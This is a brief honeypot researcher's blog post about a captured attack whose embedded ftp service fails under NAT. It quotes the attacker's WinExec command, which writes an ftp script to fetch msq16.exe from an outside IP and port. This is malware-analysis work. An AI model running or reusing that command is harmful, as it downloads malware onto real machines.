Iteolih: malicious ftp services

Yesterday, I got an incomplete, but successful, attack on my honeypot, the attackers remote code execution looked like this:

WinExec("cmd /c echo open 78.1.96.200 4871 > o&echo user 1 1 >> o &echo get msq16.exe >> o")
ExitThread(0)

As the required part to download the malware to the remotehost was incomplete, I got curious and wanted a copy.

I did not expect downloading the malware getting a problem, as all information required was available, including host credentials and filename. But, as the ftp service embedded in the malware is still special, it was a problem.
The ftp service is designed to work with the windows ftp client, the windows ftp only provides active ftp, active ftp does not work on nat if the ftp service port is not on default port 21.
Apart from that, the ftp service may fail with 6% of all ports.

I’ve had the same problems with nepenthes 3 years ago, but had the slight hope the malware authors might have fixed it in the meantime. Obviously I was wrong.

As I was looking for a more general solution than using netcat, I scripted a small ftp client in python, using pythons ftplib. Provided your external ip and a forwarded port range, the client is able to download files via active ftp from Designed for Windows ™ ftp services.

You can download the script here, verified to work with python3.x and 2.x.

After getting the file,

I sent it to virustotal.com, here is the report: